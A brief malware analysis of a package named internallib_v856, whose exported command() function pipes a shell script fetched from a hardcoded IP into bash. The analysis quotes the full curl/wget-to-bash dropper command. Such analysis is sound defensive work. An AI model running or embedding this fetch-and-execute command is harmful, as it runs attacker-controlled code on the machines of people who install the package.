What this malware does
The package's main entry (index.js) exports a single function command() that invokes /bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget -qO- http://10.0.0.145:8080/shell.sh | bash", fetching an unauthenticated shell script over plain HTTP from a hardcoded bare-IP endpoint and piping it directly into bash. Any consumer that requires this package and calls the advertised API will execute attacker-controlled code on their machine. The package metadata is a generic placeholder (name: internallib_v856, description Internal lib for testing, no author, no repository), and the package's only advertised function is the dropper itself — there is no legitimate functionality. Network destination http://10.0.0.145:8080/shell.sh is mutable, attacker-controlled, and unverifiable.
